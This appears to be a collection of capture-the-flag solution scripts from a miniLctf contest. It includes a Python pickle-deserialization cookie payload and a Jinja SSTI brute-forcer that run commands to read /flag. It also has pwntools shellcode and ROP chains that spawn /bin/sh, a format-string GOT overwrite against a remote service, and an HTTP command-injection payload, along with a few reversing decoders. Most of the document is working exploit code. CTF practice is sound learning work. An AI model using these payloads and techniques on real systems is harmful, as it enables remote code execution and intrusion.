# WEB2-1.py
from base64 import b64encode as be
import requests
import re

url = input("\033[1;34m[^_^] ? Input Target Url: \033[0m") + "home"

while True:
    code = "{{" + input("\033[1;34m[^_^] > \033[0m").replace("\"", "\'") + "}}"
    code_len = hex(len(code))[2:]
    if len(code_len) > 2:
        print("\033[1;31m[x_x] ! Code length limit breakthrough, limit: 0xff.\033[0m")
    if len(code_len) == 1:
        code_len = "0" + code_len
    code_len = r"\x" + code_len
    basestr = [r"\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c", r"\x94\x8c\x03vip\x94\x88ub."]
    payload = "b\"" + basestr[0] + code_len + code + basestr[1] + "\""
    # print(eval(payload))
    payload_b = be(eval(payload)).decode()
    header = {
        "Cookie": "user=" + payload_b,
    }
    try:
        response = requests.get(url=url, headers=header)
        pattern = re.compile(r'<h1>Hello, dear ([\w\W]*)</h1>')
        result = re.search(pattern, response.text)
        if result:
            print(result.group(1))
        else:
            print("\033[1;31m[x_x] ! Error, no response context find.\033[0m")
    except requests.ConnectionError:
        print("\033[1;31m[x_x] ! Error, examine your network connection.\033[0m")

# WEB2-2.py
import app
import base64

data = b"""capp
User
(c__builtin__
getattr
p0
(c__builtin__
open
(S'/flag'
tRS'read'
tRp1
)RI01
tR."""

print(base64.b64encode(data))

# app.py
class User(object):
    def __init__(self, name, vip):
        self.name = name
        self.vip = vip

from base64 import b64decode as bd
from base64 import b64encode as be
import requests
import time


def abc(a, b):
    len_a = len(a)
    len_b = len(b)
    result = ""
    for i in range(len_b):
        result += chr(ord(a[i % len_a]) ^ ord(b[i]))
    return result


def de(a, b):
    return abc(a, bd(b))


def get_key(a):
    return be(abc("xdsecminil", a).encode())


url = input("\033[1;34m[^_^] ? Input Target Url: \033[0m") + "build"
while True:
    code = input("\033[1;34m[^_^] > \033[0m")
    if code == "BRUTE":
        for p in range(0, 200):
            pcode = r'{{""["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]()[' + str(i) + r']["__in""it__"]["__glo""bals__"]["__buil""tins__"]["eval"]("__import__(\"o\"\"s\")")["popen"]("cat /fl""ag")["read"]()}}'
            data = {
                "data": get_key(pcode).decode(),
            }
            response = requests.post(url=url, data=data)
            if "500" in response.text:
                print("\033[1;31m[x_x] @", p, " is not correct.\033[0m")
            else:
                print("\033[1;33m[@_@] Probably find flag.\033[0m")
                print("\033[1;33m", response.text, "\033[0m")
                break
            time.sleep(0.2)
    else:
        key = get_key(code).decode()
        data = {
            "data": key,
        }
        response = requests.post(url=url, data=data)
        if "500 Internal Server Error" in response:
            print("\033[1;31m[x_x] Execute Error.\033[0m")
        else:
            print(response.text)

from base64 import b64decode as bd

while True:
    fin = open("story.txt", "rb")
    data = fin.read()
    fin.close()
    try:
        data_ = bd(data)
        data_.decode("utf-8")
    except Exception:
        data_ = bd(data[::-1])
    if "{" in data_.decode():
        print(data_.decode())
        break
    fout = open("story.txt", "wb")
    print(data_)
    fout.write(data_)
    fout.close()

# PWN1.py
from pwn import *
context(arch = 'amd64',os='linux',log_level = 'debug')
p = process('./shellcode_loader')
#p = remote('pwn.woooo.tech',10266)
gdb.attach(p,"b *$rebase(0x1232)")

shellcode = '''
    mov rax, qword ptr[rsp + 0x50];
    jmp rax;
'''
shellcode2 =''' 
    xor rbx,rbx;
    mov rax, qword ptr[rbp + 0x58];
    jmp rax;
'''
shellcode3 = '''                       
    lea rdi, qword ptr[rsp + 0x70];
    push rbx;
    pop rsi;
    push rsi;
    pop rdx;
    push rdx;
    pop rax;
    mov al, 59;
    syscall;
'''
shellcode = asm(shellcode) + b'//bin/sh'
shellcode2 = asm(shellcode2)
shellcode3 = asm(shellcode3)

p.send(shellcode)
p.sendline(shellcode2)
p.sendline(shellcode3)
p.interactive()

from pwn import *
context(arch = 'amd64',os='linux',log_level = 'debug')
p = process('./shellcode_loader')
#p = remote('pwn.woooo.tech',10063)
#gdb.attach(p,"b *$rebase(0x1232)")

shellcode = '''
    mov rax, qword ptr[rsp + 0x50];
    jmp rax;
'''
shellcode = asm(shellcode, arch='amd64', os='linux') + b"//bin/sh"
# 3 + 4 + 1 + 7 = 15
p.sendline(shellcode)

shellcode2 = '''                       
    lea rdi, byte ptr[rsp + 0x40];
    push rbx;
    pop rsi;
    push rsi;
    pop rdx;
    push rdx;
    pop rax;
    mov al, 59;
    syscall;
'''
# 5 + 1*6 + 3 + 1 = 15
shellcode2 = asm(shellcode2, arch='amd64', os='linux')
p.send(shellcode2)

p.interactive()

from pwn import *
binary = './baby_repeater'
context(arch='amd64', os='linux',log_level='debug')

#p = process(binary,env={'LD_PRELOAD':'./libc-2.31.so'})
p = remote('pwn.woooo.tech', 10209)
elf = ELF(binary)
libc = ELF("./libc-2.31.so")

ru = lambda x:p.recvuntil(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)

#gdb.attach(p, 'b *$rebase(0x145d)\nc\nx/gx $rebase(0x3258)\n')
sla("> ",b'%111$p')
ru("Your sentence: 0x")

libc_start_addr = int(p.recv(12),16)
libc_base = libc_start_addr - libc.sym['__libc_start_main'] - 243
shell_addr = libc_base + 0xe6c81

log.success(hex(libc_base))
log.success('shell_addr--->'+hex(shell_addr))

sla("> ",b'%107$p')
ru("Your sentence: 0x")
main_addr = int(p.recv(12),16) - 42
log.success('main_addr--->'+hex(main_addr))

base = main_addr - 0x14d5

hook_got = elf.got['exit'] + base
log.success("hook_got---->"+hex(hook_got))
payload1=fmtstr_payload(8, {hook_got: shell_addr},numbwritten=15)
log.info(str(len(payload1)))
sla("> ",payload1)
print(payload1)
sla("> ","exit")
p.interactive()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

from pwn import * 
binary = './pwn1'
context(log_level='debug')
p=process(binary)
p = remote("pwn.woooo.tech", 10268)
ru = lambda x:p.recvuntil(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
sl = lambda x:p.sendline(x)

# 64
pop_rax = 0x0000000000451a57
pop_rdi = 0x000000000040185a
pop_rdx = 0x000000000040175f
pop_rsi = 0x000000000040f3fe
binsh_addr_x64 = 0x00000004c5220
syscall_ret = 0x000000487c99
add_rsp = 0x00000000004029c2 # 0x98
# 32
gets_addr = 0x8058474
pop_eax = 0x080b05ca
pop_edx_ebx = 0x0805ede9
pop_ecx = 0x080642b1
binsh_addr = 0x80e83c0
int_addr = 0x0804a402
add_esp = 0x0804b08e #0x2c

payload = b'a'*0x44 + b'b'*0x4
payload += p32(add_esp)
payload += b'c'*12
payload += p64(add_rsp)
payload += b'd'*24

payload += p32(gets_addr) + p32(pop_eax) + p32(binsh_addr)
payload += p32(pop_ecx) + p32(0)
payload += p32(pop_edx_ebx) + p32(0) + p32(binsh_addr)
payload += p32(pop_eax) + p32(0xb)
payload += p32(int_addr)

payload += b'd'*0x54
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(binsh_addr_x64)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(syscall_ret)
payload += p64(pop_rax) + p64(59)
payload += p64(pop_rdi) + p64(binsh_addr_x64)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall_ret)

sla("say ?\n", payload)
sl(b'/bin/sh\x00')
p.interactive()

from pwn import *
context.log_level='debug'
p = process('./httpd')
#gdb.attach(p,"b *$rebase(0x160E)")
input()
payload = '''GET /calc?x=`cat$IFS./flag`));echo$IFS$((1&y=1&action=add HTTP/1.1\r\n'''
p.sendline(payload)
p.recv()
p.recv()

key=[0x5A,0x46,0x59,0x46,0x7B,0x5C,0x43,0x51,0x74,0x63,0x47,0x0E,0x4C,0x68,0x0E,0x4C,0x68,0x43,0x47,0x3,0x68,0x51,0x5E,0x44,0x3,0x68,0x51,0x0E,0x5E,0x50,0x1E,0x4A]
for i in range(32):
    tmp = key[i]^0x55
    tmp -= 4
    print(chr(tmp^0x66),end='')
#miniLctf{Th1s_1s_th4_fak4_f1ag!}

key = [0x5A,0x26,0x59,0x26,0x7B,0x5C,0x43,0x51,0x54,0x6D,0x52,0x68,0x0E,0x4C,0x68,0x4C,0x0F,0x68,0x0E,0x59,0x43,0x3,0x4D,0x3,0x4C,0x43,0x0E,0x59,0x50,0x1E,0x1E,0x4A]
for i in range(32):
    tmp = key[i]^0x66
    tmp -= 4
    print(chr(tmp^0x55),end='')
# miniLctf{Re_1s_s0_1nt4r4st1ng!!}

def brute(x):
    print("[@_@] ", x, ": ")
    flag = ["m", "i", "n", "i", "l", "c", "t", "f", "{"]
    v4 = "!V -}VG-bp}m-nG!b|ra GyGE|Drp D"
    v3 = [16, 4, 24, 11, 24, 16, 4, 21, 11, 5, 31, 46, 33, 46, 72, 21, 6, 46, 17, 59, 5, 
          62, 46, 24, 21, 72, 46, 59, 33, 31, 10]
    for i in range(200):
        flag.append("")
    for i in range(30):
        try:
            flag[9 + 2 * i] = chr((((v3[i]) ^ 0x42) - 4) ^ 0x37)
        except:
            pass
    for i in range(0x1f):
        try:
            flag[9 + 2 * i + 1] = chr(((ord(v4[i]) ^ 0x13 ^ x) + 4) ^ 0x4D)
        except:
            pass
    f = "".join(flag)
    print("[?_?] ", f)

for i in range(255):#暴力破解
    brute(i)